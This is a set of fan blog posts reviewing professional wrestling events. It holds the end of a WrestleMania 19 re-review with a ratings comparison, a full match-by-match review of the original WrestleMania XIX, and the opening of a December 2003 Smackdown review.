The champ hits a SWEET release German on Brock for two and the Angle Slam gets the same. Lesnar comes back with the Angle Slam for two of his own as the fans are getting way into this now. Back to the ankle lock by Kurt and he hooks the grapevine for good measure. Brock somehow makes it to the rope, which I believe is the only time anyone has escaped the grapevine version of the ankle lock.

Both guys stagger to their feet and hug to end the show.

Remember to follow me on Twitter @kbreviews

Ratings Comparison

Matt Hardy vs. Rey Mysterio

Original: C-

Redo: C+

Undertaker vs. A-Train/Big Show

Original: D

Redo: C

Trish Stratus vs. Victoria vs. Jazz

Original: D+

Redo: C

Los Guerreros vs. Team Angle vs. Chris Benoit/Rhyno

Original: C+

Redo: C

Chris Jericho vs. Shawn Michaels

Original: A-

Redo: A-

HHH vs. Booker T

Original: C+

Redo: C+

Hulk Hogan vs. Vince McMahon

Original: B

Redo: D+

The Rock vs. Steve Austin

Original: B+

Redo: B+

Kurt Angle vs. Brock Lesnar

Original: A-

Redo: B+

Overall Rating

Original: B

Redo: A-

What the heck was I thinking on that Hogan match?

http://kbwrestlingreviews.com/2011/03/26/history-of-wrestlemania-with-kb-wrestlemania-19-overrated/

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2004 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2019/08/26/new-book-and-e-book-kbs-complete-2004-monday-night-raw-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Wrestlemania Count-Up – Wrestlemania XIX (Original): The Stacked One

IMG Credit: WWE

Wrestlemania 19
Date: March 30, 2003
Location: Safeco Field, Seattle, Washington
Attendance: 54,097
Commentators: Jim Ross, Jerry Lawler, Michael Cole, Tazz
America The Beautiful: Ashanti

This show gets a lot of praise around here and I’m not entirely sure why. I’ve never been that enthralled by it, but maybe it needs another viewing. Your main event here is Kurt vs. Brock, which is simply due to Brock winning the Rumble and a solid build as you’re not really sure who the better man is. Brock is just past one year on television at this point and is going for his second world title.

To say he was dominant is an understatement. The real main event though is Hulk vs. Vince in a no holds barred match. It’s another instance of not putting the real main event on last, which is a shame as it got most of the buildup. Your midcard special is Jericho vs. Shawn in what was excellently built up as well.

We also get the third match in the Austin/Rock saga, which while still a big match, simply doesn’t have the big fire in it this time around. It turns out to be Austin’s last match as a regular. More or less that’s what holds this show back: the hype. The buildup was as good as any I’ve ever seen, but it wasn’t a mind blowing show. Let’s get to it.

Well done “it’s our World Series” package that never gets old, following Ashanti singing America the Beautiful which has been missed by me. The first problem with this show is simple: the theme song. Crack Addict by Limp Biskit. I never could figure out why they wouldn’t say the name of the song on television, but then it made sense. Make your own PG jokes.

Cruiserweight Title: Matt Hardy vs. Rey Mysterio

Mysterio is dressed as Daredevil as he beging his tradition of being a superhero at Mania. Matt is in the middle of what was always one of my favorite stupid gimmicks: Mattitude V1.0. This involves him having fun facts pop up on screen during his entrance which is made to look like he’s on a website. Today’s Mattitude Facts: Matt is appearing in his 4th Wrestlemania and Matt often wonders how they did Wrestlemania without him.

He’s also desperately trying to stay at the Cruiserweight limit of 220lbs, often with comical results. Matt is accompanied by Mattitude Follower (MFer) Shannon Moore. Hardy used Disco Inferno method of Cruiserweight wrestling: Wrestle like a heavyweight and hope it works out for the best. Moore distracts Rey to start but Matt gets backdropped to the floor. Blast you little MFer.

Head scissors and a spinwheel kick put Matt down and set up an attempt at a sunset bomb to the floor. Shannon makes the save and allows Matt to take over. Shannon’s people are called Morons. Taz and Cole make bad jokes about how Matt got his weight down using terms like banana juice, teabag and BJ. You figure the rest out for yourself.

Matt locks in a bow and arrow to keep Rey on the mat for awhile. A corner charge misses though and Matt goes into the post. Seated Senton gets two for Rey and we speed things up a bit more. Shannon breaks up the 619 and there’s the Twist of Fate for two. The foul poles in the background take a bit of getting used to.

Matt tries Splash Mountain from the bottom rope but Rey reverses into a rana for two. 619 hits and it’s West Coast Pop time. Matt ducks so Rey settles for a victory roll. Hardy ducks into it ala Owen at Mania X and grabs the rope to get the win. That was abrupt to say the least.

Rating: C-. Not a fan of the ending at all. This was getting good and they cut the legs out from under it after less than six minutes. I get why they had to do that as a lot of the matches are long but the pacing of the match could have been a lot better to make that ending not seem so abrupt and not to make this seem like a TV match. Still decent though.

Time for our first bad celebrities as the Miller Light Cat Fight girls show up. They’re two hot chicks that fight over beer. Their limo couldn’t be tackier as it’s a long black limo with a sign on the door saying Catfight Girls. It just doesn’t look good at all. The dumb arguments start already.

We get a clip from earlier with Nathan Jones, Undertaker’s tag partner for later, being laid out by A-Train and Big Show. This would be due to the fact that the company thought he wasn’t capable of being on live PPV with his skills at the time. Shouldn’t they have noticed this before Wrestlemania Sunday?

Limp Bizkit performs Rollin live to play us to this.

Undertaker vs. Big Show/A-Train

This is Taker vs. Big Show for the 10th time or so. A-Train is there for no apparent reason other than to make us think Taker might have some issues here. Fred Durst does not belong in the ring at Wrestlemania with Undertaker, period. This is officially a handicap match now. A-Train spits on Taker’s bike to distract him so Show can jump him. This of course fails and A-Train takes a chokeslam for two as Show saves.

Taker hammers away at both guys and makes sure to stay out of the corner. This was part of the A-Train’s push which I never quite understood but they were trying at least. Taker busts out a leap frog of all things and there’s Old School to A-Train. Derailer (Chokebomb) hits Taker but of course he doesn’t cover. Instead he sends Taker to the floor so Show can ram him into the post.

There’s a flag on Undertaker’s bike which is due to his nephew serving in Iraq who the match has been dedicated to. Show comes in and they slug it out a bit. Taker really likes to punch doesn’t he? Show’s chokeslam is countered into a Fujiwara armbar and then into a cross armbreaker to A-Train. Show drops a leg to break that up and rams some headbutts in.

Abdominal stretch goes on after all the head and neck work. I guess Show is working on the ribs now. A-Train comes in now and stomps away before putting on an abdominal stretch of his own. Taker reverses into one of his own and that’s about the extent of his offensive run as it’s back to the beating again. Train slaps him in the face because he’s not that intelligent.

Naturally Taker makes the comeback and hits a running DDT for two as Show makes the save. Show is sent to the apron by the referee so Taker hits him anyway. Here’s the comeback and the monsters are in trouble. Big clothesline takes down Show. And never mind as a bicycle kick takes his head off. Chokeslam to Taker and here comes Nathan Jones. He kicks Show in the aisle to take him down (shouldn’t that be a DQ?) and hits the ring. Big boot to A-Train and the Tombstone ends this.

Rating: D. Can someone explain to me why this got ten minutes almost and the previous match couldn’t even get six? Not much of a match and far too long for its own good. Taker was never going to lose and everyone knew it, yet they let it go off even longer which didn’t help at all. Jones was gone soon after this I believe.

Catfight girls run into the much hotter Torrie and Stacy.

We get a recap of the pointless Raw tag title match from Heat that leads nowhere. That was on Heat and the Cat Fight girls were on here. That’s life I guess.

Women’s Title: Trish Stratus vs. Jazz vs. Victoria

Jazz still isn’t cared for at all. As usual Trish looks great and gets the confetti for her entrance. Yeah, no guesses as to who is going over here. Victoria is champion coming into this and is in her total psycho phase here with the awesome T.A.T.U. theme music. I’ve always loved this character and throwing in that I always thought Victoria was mind blowingly hot isn’t hurting anything here.

Ross says that Jazz has a Mike Tyson like attitude. Lawler says it’s a Mike Tyson like look. Victoria has Steven Richards with her for no apparent reason. Jazz jumps both of them quickly and sends Victoria to the floor. She grabs a front facelock and flips forward to bend Trish in half with a facelock. Trish gets a Thesz Press and poses a lot. Victoria pulls her to the floor and we brawl out there for a bit.

Jazz vs. Trish in the ring at the moment with the less attractive one in control. Double shoulder breaker to Trish so it’s Victoria vs. Jazz now. Love that backless outfit on Victoria. Lawler says Trish is like a quarter among pennies. What the heck does that even mean? Match is kind of a mess so far but it’s not horrible. Powerslam by Jazz gets two on Trish.

The heels go at it again which Trish takes advantage of, ramming their heads together to take over. Big spin kick by Jazz misses and Trish gets a rollup for two. Chick Kick gets two. Trish kicks Victoria to the floor as Jazz shouts a lot. Half crab goes on and into an STF to Trish by Jazz. Stevie intercepts Trish’s tap out so Victoria isn’t out.

Trish gets a rollup of Victoria and we get a nice shot as Trish pulls the tights. Double chickenwing by Jazz to the blonde but Victoria takes Jazz down. Moonsault misses though, but Victoria still sends het to the floor. Stevie accidentally hits himself with a chair and takes a Stratusfaction for being an idiot. Chick Kick to Victoria gives Trish the title.

Rating: D+. This was just your standard Women’s Title match and nothing more. They’ve been the same for years and this was no different. Trish gets the title back for a token title change and would likely hold it for a very long time. Yeah that’s all I’ve got. Oh and Victoria has a nice figure.

Rock is bitter about being booed last year against Hogan and has turned his back on the people. He’s obsessed with beating Austin in a big match, which I don’t think he ever has. This takes way longer than it should have.

Smackdown Tag Titles: Los Guerreros vs. Team Angle vs. Rhyno/Chris Benoit

First fall wins it here as I continue to be amazed by how well Eddie suited his gimmick. While he’s not as great as he’s given credit for, he certainly was good. Team Angle is Charlie Hass and Shelton Benjamin by the way. Hass was supposed to be the breakout star at first but obviously after about two matches we knew that wasn’t going to happen. This is more of what we’ve seen all night long: a match that’s good enough to be a decent TV main event, but not WM worthy. No point here other than for the titles to be on the line.

Team Angle has the titles here. Benoit had a masterpiece with Angle at the Rumble but since a guy that was ridiculously popular and great in the ring clearly had no business feuding with HHH on Raw for the title (I mean we had SCOTT STEINER to do that) he was shoved into this pointless tag team and wasted most of 03 until he got so popular that he went to Raw the next year after winning the Rumble.

Big brawl to start as the referee tries to settle things down a bit. Chavo and Haas finally get us started. Haas tags out to Benoit and it’s Benoit vs. Eddie now. This works for me. To the shock of no one they hammer away on each other with neither guy being able to maintain an advantage. They ram heads which allows Rhyno to be brought in.

Powerslam to Eddie gets two. Benjamin comes in for the first time and works on the neck of Rhyno. Chavo breaks up a pin attempt as this is just ok. It’s like any match that could have been on Smackdown yet it’s here on Wrestlemania. Benoit suplexes Haas for two. We’re off to Rhyno vs. Benjamin now. They’re tagging in and out quickly but it’s kind of keeping anything from getting started. It’s been a random assortment of one on one matches so far. Nothing bad but nothing that interesting.

Eddie dropkicks Rhyno to take over and it’s off to Benoit vs. Guerrero again. Guerrero gets a belly to back and sets for the Frog Splash but gets caught in a superplex for two as Shelton saves. Benoit fires Eddie into the air for a flapjack and pulls him down into the Crossface in an awesome looking move. Haas breaks it up seconds later and then just leaves so the two masters can go at it some more.

Chavo comes in and cleans a lot of house. His name being Guerrero kind of hurts him as he’s always in Eddie’s shadow. Rolling Germans to Chavo but Chavo makes a blind tag to Shelton. Superkick to Benoit gets two. Eddie vs. Shelton at the moment so Shelton covers Benoit. Frog Splash breaks up the pin though so it’s off to Chavo vs. Haas. Haas suplexes him and gets Gored. Gore to Chavo and Benjamin steals the pin to retain the titles.

Rating: C+. It was getting a lot better at the end when they dropped the tagging stuff but this was a match that could have been on any Smackdown for the most part. It’s good and definitely the best match of the night so far. Still though, not much here but good stuff for what it was.

Torrie and Stacy argue with the Catfight girls over who made Mania, Hulk or Vince. This isn’t sexy or interesting, it’s just annoying at this point as the Catfight girls read from a script. Apparently this argument is going to be settled “in bed”. Lord help us all. One of them keeps saying Holgan instead of Hogan.

From this thing on, everything is nearly 18 minutes long.

We recap Jericho vs. Shawn. Shawn came back and won the world title. Jericho ran his mouth so Jericho got kicked in the face. He eliminated Shawn from the Rumble and vice versa. Shawn was his inspiration apparently and wanted a match at Mania. Jericho was walking through the curtain one night and something kicked him in the face. Shawn came out and posed over him, saying he’d see him at Wrestlemania. Jericho was evil here, putting Stacy in the Walls of Jericho and drilling Shawn with chairs.

Chris Jericho vs. Shawn Michaels

Shawn brings a confetti gun with him. Oh ok he has them throughout the entrance to fire his own pyro. Cute kind of. Shawn gets pyro that goes around the back of the stadium when he does his in ring pose. That’s pretty cool. The fans are into Shawn of course as they have some mat stuff going on to start us off. Shawn lays on the top rope which is something I always found funny.

Headlock takes Jericho to the mat and out he goes to the floor. Shawn teases a plancha but Jericho sees it coming. Shawn stops and goes with a baseball slide instead. Back in a cross body gets two for Jericho as he rolls through Shawn’s move. Jericho hammers away but can’t get the bulldog. Shawn busts out a figure four and Jericho is in trouble.

After that doesn’t last long a headscissors puts Jericho on the floor, allowing Shawn to hit his plancha. Jericho counters and locks on the Walls on the floor. Shawn’s back goes into the post and HBK is in trouble. Jericho gets another dropkick to keep Shawn on the floor. Shawn’s back is the target now and it’s all Jericho. The cocky pin doesn’t work so we go to the chinlock.

Shawn reverses a suplex into a DDT but he can’t get up. Once he finally does, Jericho adds a forearm and the Nip Up. Shawn Nips Up also and then does it again. There’s the moonsault press for a long two. We get the always classic pinfall reversal sequence, resulting in a Walls attempt but Shawn kicks him off instead.

Northern Lights Suplex gets two for Jericho but Shawn bridges up for a backslide. Jericho reverses that and takes Shawn does to retain control. Lionsault gets two and Shawn starts his comeback. Rana misses though and it’s into the Walls for Shawn. Shawn makes the rope but his back is destroyed. Backbreaker sets up a top rope back elbow for no cover.

Instead Jericho Tunes up the Band. A fairly awesome Sweet Chin Music puts Shawn down for two and Jericho isn’t sure what to do next. Shawn gets a cross body out of the corner and some rights to buy himself some time. Shawn teases the Walls of Jericho but goes with a slingshot instead, sending Jericho into the post. Jericho tries a belly to back off the top but Shawn spins over into a cross body for a long two.

Shawn goes up and gets crotched via the referee being sent into the rope. Superplex is blocked though as Shawn shoves him off and there’s the elbow. Time to Tune up the Band again but the kick misses and it’s into the Walls again. A rope is grabbed and Jericho tries to beg to the referee. Chris walks into Sweet Chin Music though and down he goes but Shawn can’t cover. Both guys are back up and Jericho sends him into the corner. Shawn flips over and gets his feet under Jericho’s shoulders, rolling him backwards to end this finally.

Rating: A-. Definitely a great match, but not an all time classic. HBK shows he still can go at Mania and Jericho has one of the best matches of his life here as he’s totally into this. The only thing missing was the superkick to end it for Shawn, but this might have been better, not sure yet.

Jericho kicks Shawn in the balls post match, cranking his heel rating up by about 10.
Last month at no Way Out the show was in Montreal, there was a French ref that screwed Hogan out of the rematch with the Rock by helping Vince. He heads into Vince’s locker room.

Goldberg debuts at Backlash. That may have been the biggest flop in company history. It turns out he fought Rock in Rock’s last match before he left to make another movie, thereby more or less ending his time as an active wrestler.

New attendance record of over 54,000. Impressive again.

Limp Biskit performs AGAIN, and somehow the people couldn’t care less than they did the first time. This goes on 5 minutes.

Torrie’s Playboy came out two days later. We see clips of a news conference. We get the Catfight between the Catfight Girls and Torrie/Stacy. Coach gets stripped down to his underwear, as do the rest of the girls. Not a real match, not an interesting segment. The only thing good about this is Stacy’s Legs music which I always liked.

Time to talk about the Raw World title. This show has been on for nearly two hours and this literally hasn’t been mentioned until now. There hasn’t been a graphic, there hasn’t been hype, there hasn’t been an interview. If that’s not proof that the title matches aren’t the biggest on the card, I don’t know what is.

The idea here is that they’re playing up Booker’s hard life growing up vs. HHH’s privileged lifestyle. Booker pinned him on Raw in a tag match. Nothing about this match screams Mania at all. Unforgiven or Judgement Day maybe, but not Wrestlemania.

Raw World Title: Booker T vs. HHH

Oh and Booker pinned HHH on Raw this past week. I forgot about that but it’s not like it’s going to matter. HHH has the purple tights on here too. Poor Booker. He actually thinks he has a chance here. We hear about his hard life and how he worked his way up to become a 5 time WCW Champion. Jerry: HHH told us how much of a joke that place was. Ross: I worked in WCW. You didn’t. How would you know it was a joke? Jerry: Was it a joke? Ross: Darn right it was! Too funny.

They slug it out in the corner to start with Booker having a slight advantage. HHH actually goes up top and gets arm dragged down. Out to the floor now and the champion goes into the post. Back in and a clothesline gets two for Booker. Now we talk about the Fink for no apparent reason. HHH sends Booker to the apron and rams his head into the post to take over.

Jerry keeps making prison/court jokes about Booker. Neckbreaker by HHH gets two and he lays in the shots. The fans chant for Booker so HHH hits a spinebuster on him to quiet that down and get two in the process. Big clothesline in the corner gets the same. Suplex gets reversed and Booker hits a DDT and Lawler makes fun of Booker again. Ross has to stop himself from saying GD which gets Lawler laughing.

Side slam gets no cover for Booker but a spinning forearm gets two. Sleeper by HHH doesn’t work but a high knee does. It’s been mainly the champion in control here. Facebuster connects but HHH walks into a spinebuster for two. HHH tries to go up again and jumps into a jump kick by Booker for two. Axe kick and side kick misses, the latter of which sends Booker to the floor.

Flair drills Booker’s knee into the stairs to give HHH something to work on. HHH busts out an inverted Indian Death Lock which you won’t see for years. HHH, love him or hate him, is almost as old school as you get. Off to a regular one as Booker is in trouble. For those of you unfamiliar, the best way I can put it is a Sharpshooter with the legs instead of the arms and legs and less torque on the back. It doesn’t matter as a rope is grabbed.

HHH tries to send him into the corner and Booker collapses. Knee crusher is reversed into a sunset flip for two as the fans pop big for it. Pedigree is countered but Booker is launched into the referee who stays down for about a second. Must not have been planned. Booker gets a jumping back elbow and his leg is fine now. Scissors kick puts HHH down as now the leg hurts again. That gets two.

Booker goes up but Flair interferes to let HHH get to Mr. T. Superplex is blocked and Booker hits the Harlem (Houston here) Hangover for no count as Flair puts the foot on the ropes. Naturally, as after all HHH isn’t allowed to lose the title for a very long time right? Booker’s knee gives way and HHH hits the Pedigree. Twenty five seconds later HHH puts his hand on Booker and retains. Well of course he does.

Rating: C+. This was around the time that HHH was trying to expand his moveset to include things like the sleeper, Indian deathlock and DDT. They’re ok, but he wanted them as extra finishers and that just didn’t work. It was a very weird time in his career right now and this match it the crowning glory of that time. It’s clear here that Booker wasn’t going to win the title and was being fed to HHH. If you want to see the time where people say HHH was taking over the company, here is exhibit A.

WM 20 is going to be at Madison Square Garden. That is where it belongs.

We recap Hogan vs. Vince. If Hogan loses, he retires…again. This is billed as 20 years in the making, despite this being the 19th year of Mania. The fight is over who should get the credit for Mania, both the Hulka and Wrestle varities. That’s a thread that was great when it was done and I’d like to see a replay of it.

Anyway, this is a street fight for obvious purposes. It’s also the match that sold this show, but in WWE logic, that can’t go on last of course as they didn’t learn from last year. While obviously this isn’t the entire story, the more I see of this the more I think Hulk should get more credit. Based on the video alone, this should be the main event.

Hulk Hogan vs. Vince McMahon

Hogan comes out to Voodoo Child. Are you serious? WWE owns the rights to the most legendary theme song in wrestling history and they use Voodoo Child? The pop is barely even there which surprises me. The fans are into it, but there’s not much special.

To top it all off, he comes out first. Seriously? I know Vince isn’t a fan of Hogan’s but this is absurd. Once they say his name he gets a pop, but I really think the fans didn’t know who he was at first. Hogan, nice guy that he is, rips up a Vince Still Sucks sign.To say McMahon is ripped is an understatement.

Hogan takes him down with a clothesline to start and we get some “ground and pound.” Vince fights back and hammers away, working on the arm. They’re moving incredibly slowly right now too. The arm goes around the post as we talk about the steroids trial in the early 90s, which according to Stephanie was like 9/11. Test of strength goes on and Hogan fights back up.

They ram chests like Warrior and Hogan but once again Vince kicks him in the gut to bring him back to his knees. Vince having a muscular man on his knees. Make your own jokes here. Hogan fights up for the third time and gets kicked in the ribs again and sent to the floor. Vince hammers away even more and has been in control the majority of the match here.

Chair shot to Hogan misses and Vince is rammed into the post instead. The chair drills Vince as Hulk takes over for a bit. Vince is busted open so Hogan hammers away. Crowd is into this too. Another chair to the back and down goes Vince. Hogan misses a chair shot and the Spanish Announcer takes it in the head. That’s what he gets for putting stuff on their table I guess.

Low blow by Vince shifts control again and he grabs the chair. And now Vince sets up a ladder. This cannot end well at all. He sets it between the tables and Hogan is laid out on the Spanish Announce Table with a monitor shot to the head. Vince climbs up, does the hand to the ear, and drops a leg onto Hogan, leaving both people laying.

After they lay around for about two minutes off of that, Vince rolls him back in and gets two for a big (although what should be an unsurprised) pop. Vince’s face is creepy from that. He goes under the ring and luckily finds a lead pipe. We get the famous shot of Vince’s crazy/evil eyes as he slowly rises up above the apron to get back in.

Hogan, ever the hero, gets a low blow to make Vince drop the pipe. A guy runs in through the crowd in a hood and pulls it off, revealing Rowdy Roddy Piper. Well he belongs in the discussion I guess. He picks up the pipe and drills Hogan with it, I guess being a heel. Piper is fathere too. Piper leaves and that gets two, putting us right back to where we were before Piper got here.

The referee steps on the pipe so Vince can’t use it. It’s a street fight so anything goes right? Vince drills him and waves down another referee. He gets two: an actual referee and the aforementioned French referee (future tag champion Sylvan Grenier). Another pipe shot and leg drop get two as Hulk Hulks Up. Down goes the French dude to the power of AMERICA. Hogan drops THREE leg drops and this is finally over.

Rating: B. While not the legendary classic it gets credit for, this was very fun indeed. Piper makes little to no sense to me at all here. Stupidly enough, it led to a feud between Hogan and Piper/Sean O’Haire. Really? Anyway, this was a very fun fight all day. I never really thought Vince would win, but it was fun to believe in him for awhile. Biggest flaw for me though: that freaking Voodoo Child song. HULK HOGAN’S MUSIC IS REAL AMERICAN. Anyone could tell you that. So freaking stupid.

Shane comes out to check on his dad. Yeah that’s all he’s here for. Seriously, he does nothing else.

We recap Rock vs. Austin. What recap do you need here? This match is the epitome of a grudge match. The idea here is simple: Rock has never beat Austin in a big match, namely at WM. He has done it all but defeat his arch rival and it’s killing him. This would have been so much more effective had it been 1-1 at Mania for them.

The problem for me was simple. So what if Rock wins? It’s still 2-1 Austin and Austin beat him twice for the title. That doesn’t exactly scream even to me. This is a weird thing to do here as Rock is finally (get it?) as big as Austin as far as star power despite Austin being so far past his prime he can’t even see it and Rock would be gone in a month, but he’s finally the true heel here and it’s one on one.

This whole match is built on Rock needing to win and getting more and more desperate to do it. They’re both nowhere near as good as they were 2-3 years ago, but they’re still very solid.

This gets the music video treatment but it doesn’t pack anywhere near the punch of My Way.

Steve Austin vs. The Rock

This is Austin’s last match as today. Austin comes off his fourth corner and turns around to see Rock waiting on him. This is the first time Austin came out second I think. There’s the bell and these two at Mania just feel right. They slug it out and Austin takes control, shocking no one. Stunner misses early and we hit the floor. We go to the Smackdown table with Austin beating Rock to death.

Rock goes into the steps and takes a belly to back suplex in the ring. We get into the wrestler vs. actor debate which is rather interesting indeed. This match has DQs mind you. Rock gets a shot to Austin’s knee which I think is his first offense of the match so far. Out to the floor again and Rock gets a second chop block to take Austin down.

After some more knee work on the floor Rock sends him into the ring again and stomps away. Austin fires off some punches but lowers his head and Rock takes the knee out again to stop Austin’s momentum. Sharpshooter goes on and Austin is in trouble. Hebner is the referee so I’d listen for a quick bell. Rock might take that….something or other to Hollywood and Vince might not get to make a bombing movie out of it.

Ross goes OFF on Jerry about talking about Hollywood so much. Rock wraps Austin’s leg around the post again and throws on Austin’s vest. Oh my stars and garter belts. Austin fights back and it’s a double clothesline to put both of them down. Back up and they slug it out with the knee seemingly fine again. I guess that’s a Texan thing. Thesz Press and Austin hammers away.

FU Elbow gets two, probably because it’s just an elbow drop. Austin stomps a mudhole but Rock hits a clothesline and nips up. Austin gets a Rock Bottom out of nowhere to the Rock as he’s still in the vest. That gets two. Stunner is blocked but Rock gets the Stunner for two of his own. That should be a scoring system in the event of a tie.

Rock hammers away but the final punch misses and it’s a Stunner by Austin for a long two. Austin tosses the referee away to get to Rock but Rock gets a low blow and it’s time for the People’s Elbow. Austin moves out of the way but can’t get another Stunner. The second People’s Elbow (minus the jacket) gets two, likely because it’s just an elbow drop.

Both guys are spent and Rock is getting up first. The fans are all over the Rock here. Rock Bottom hits but only gets two and a big pop. Rock is stunned. See what I did there? Another Rock Bottom somehow gets two and Rock doesn’t know what to do. A third Rock Bottom FINALLY ends Austin and the Rock has finally gotten the win at Wrestlemania over Austin.

Rating: B+. This is a tricky one. It’s a far cry from their epic wars before and is a joke compared to their match two years ago, but this was a different kind of match. I shortchanged this before but this is a good match. Rock was the star here, which granted has to do with him being 30 and Austin being 39 here. They beat the heck out of each other and while Austin was a shell of his former self he was still good here. Good match and a good way to close out Austin’s career.

Austin gets the big sendoff as I think it was kind of understood that he was done at this point.

We recap Angle vs. Lesnar. Lesnar won the Rumble to get here and Kurt is champion. Kurt had thrown Team Angle at Lesnar a bunch and kept ticking Lesnar off, including switching places with his brother to get a pin on Brock in a title match. This is more or less a dream match and if anyone interferes, if Kurt gets counted out or disqualified, he loses the title.

Smackdown World Title: Kurt Angle vs. Brock Lesnar

And here we are. FINALLY it’s the last match of the show but the fans are so drained they don’t even know what’s going on anymore. Kurt had reinjured his neck but instead of being out for a year and you know, really getting it fixed, he got a quick fix, resulting in him likely being on the verge of death every time he gets in the ring. There was a real chance this was his last match. Cole’s voice is almost completely gone here. Lesnar of course has a rib injury. My goodness when did he not have a rib injury?

Brock debuted the night after Mania the year before (which was in mid March but we’ll call it a year still) so this is an incredible rookie year for him. We get both of their resumes and they’re incredibly impressive to say the least. Tito Ortiz is in the front row. All of a sudden a lot of the ground and pound and submission stuff just got a lot funnier.

Shocking no one they go to the mat and technical stuff early. It’s so weird to see guys that are awesome at what they do with that stuff and have it look this good. Angle tries the headlock but Lesnar easily overpowers him. Kurt is moving very gingerly here. Brock fires off those shoulders in the corner and gets a powerslam for two.

Angle snaps off a suplex but Brock is right back up almost immediately. Out to the floor with Kurt trying to run. By the power of Akbar though, IT’S A TRAP and Kurt drills Brock as he comes in to take over. Brock is like screw that and gets a gorilla press to take over again. Angle Germans Brock into the buckle in an awesome spot. Brock gets pounded down on the floor for a bit.

Belly to back gets two in the ring. A vertical version of it gets two as well. Kurt grabs a modified STF that has Brock in agony. It shifts off into a chinlock as Angle loses the leg hold. Modified camel clutch now which furthers the pain in the ribs. Can’t say Kurt doesn’t have psychology going for him. Brock stands up and rams Kurt’s back into the corner to break the hold.

Belly to belly by Kurt reinjures Lesnar’s ribs as does a knee to the back. A second sends Brock to the floor. Back in Angle runs into a spinebuster Brock comes back and hammers away with the power but runs into an elbow. BIG belly to belly sends Angle flying as does a second one. Those get two and probably another neck surgery for Kurt.

Angle grabs Rolling Germans out of nowhere, each time landing on the back of his head and neck. This time it’s 4 suplexes though and both guys are spent. Neither finisher can hit with the F5 being countered into the ankle lock. That gets shifted to the half crab which is probably a stupid move by Kurt given the position he had Brock in. Cole’s voice is gone. Get that man some tea.

Kurt charges but gets backdropped to the floor to give Brock a chance to breathe. Brock takes over but Angle gets one HECK of a German suplex, flipping Lesnar onto his stomach in the air for two. There go the straps and the Angle Slam hits, naturally, for two. Cole says that’s the first time anyone has kicked out of it. Something tells me that’s nonsense.

Brock counters another Slam attempt into a small package that Taz calls a Spladle or something like that. Yeah it was a small package. F5 out of nowhere gets two as the crowd is finally into this. Ankle Lock goes on and gets the grapevine. Wow so someone actually did escape this. Ankle lock is avoided, as is the Slam. HUGE F5 puts Angle down, but Brock goes up instead.

We now get the sickest looking spot in a good many years at any show as Lesnar, weighing nearly 300lbs and being dead tired goes to the top rope. Now when I originally watched this, I had seen Lesnar down in OVW use a shooting star press and it was the best thing I’d ever seen in a wrestling ring, but there was no way I could ever believe he would throw one out at Wrestle-freaking-mania.

Of course he did though, but he shows why he shouldn’t, as he under-rotates and lands on his head. I don’t care who you are, that is sick looking. Luckily Angle is smart enough to cover him here to keep the match going. Right there, if Lesnar had gotten pinned I don’t think anyone would have been able to say a word to him.

They show the replay from another camera angle and you can hear Taz absolutely freak over it. That was indeed one of the sickest looking things I’ve ever seen. Lesnar hits another F5 and gets the win. Post match, Lesnar’s eyes show that he is absolutely gone. He has no clue where he is and it looks bad. Angle shakes his hand and fireworks play us out. Clearly not the planned finish but they did what they could and it made sense given the circumstances.

Rating: A-. These guys nearly killed each other, literally. One of those suplexes goes bad and Angle dies, Lesnar nearly killed himself on the ending. This was a great match though, but the ending just stops it in its tracks and it really hurts things. Had that landed, this is a definite A. It’s certainly worth watching though.

Brock is handed the title and is absolutely gone. I doubt he knew his name at this point.

Overall Rating: B. This went back and forth for me. It’s definitely good, but it’s far from great. It ended well with the face taking the gold like he should have, but the booking for this show was absolutely terrible. What this show desperately needed was a first half main event. Look at your final five matches: HBK/Jericho (best wrestling on the card by far), HHH vs. Booker T (Raw Title), Street Fight (the real main event), Austin/Rock (no explanation needed) and Lesnar/Angle (SD Title).

You can clearly see the problem. There’s no chance at all to catch your breath here and it’s very draining. A filler, like say Taker’s match in between there somewhere and another like the triple threat tag match, or even the Raw Tag Titles from Heat would have nearly saved this show. Maybe a segment or something like that also. Either way, the second half of this show is WAY too packed and it hurts things badly. The show is good, but I’d watch it out of order. Recommended, but not as great as it’s made out to be.

 

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Smackdown – December 18, 2003: Christmas Has Come Early

IMG Credit: WWE

Smackdown
Date: December 18, 2003
Location: Veterans Memorial Arena, Jacksonville, Florida
Commentators: Michael Cole, Tazz

This is the last regular show of the year as next week’s is from Iraq for the first Tribute to the Troops. Since last week’s show was a stand alone episode, odds are that’s going to be the case this week as well as I can’t imagine them setting up much and then just dropping it for a week for the special. Let’s get to it.

Here are last week’s results if you need a recap.

We open with a recap of Brock Lesnar destroying Rey Mysterio last week until Hardcore Holly made the save. I might sign up for more beatings from Brock.

Opening sequence.

Here’s John Cena to get things going. It’s almost Christmas and the real reason for this season is to make love to Mrs. Claus (“She’ll be hanging off the balls from my Christmas tree.”). Funnier than his usual stuff at least.

Big Show vs. Orlando Jordan

Non-title (well duh) with Cena on commentary. Jordan goes straight at him and actually knocks Show into the corner. A dropkick has no effect and the Hog Log (Cena: “The HOG LOG?”) gives Show two. Cole tries to talk in hip hop lingo and Cena just rips him apart until the chokeslam cuts Jordan off for the pin.

Post match Show and Cena have a staredown before their match next week. Of note: a fan holds up a sign saying “The guy behind me can’t see.” I’ve seen that several times before and it’s still one of the worst signs you can make. How pathetic does your life have to be that when you buy an expensive seat to a show, the best thing you can do is make a sign to intentionally ruin someone’s night? Does that make you feel good about yourself? And how annoyed would you be if someone in front of you held up the same sign?

Hardcore Holly arrives and a security guard won’t let him in. Another guard comes up to say that Holly is Paul Heyman’s invited guest and has a private room.

Back from a break with A-Train in the ring and Brock Lesnar coming out, flanked by Heyman and Matt Morgan. Brock talks about beating Mysterio last week and brings up A-Train losing to Shannon Moore. Morgan brings up A-Train losing Team Lesnar money when he lost the match, which Lesnar says was his money. After we see a clip of the loss, Lesnar demands an answer and it better be good. A-Train apologizes for losing the money and embarrassing the team but wants to make things better.

Heyman thinks A-Train could make it up by dealing with Hardcore Holly. See, Holly’s suspension is lifted and tonight it’s an All or Nothing match. If Holly wins, he gets a title shot against Lesnar. If Holly loses, his contract is terminated immediately and he’s gone from WWE altogether. Tonight, it’s a tag team match with A-Train/Morgan vs. Holly/Moore. Lesnar doesn’t seem happy, much like the fans who are getting that as a main event.

Christmas in Iraq video.

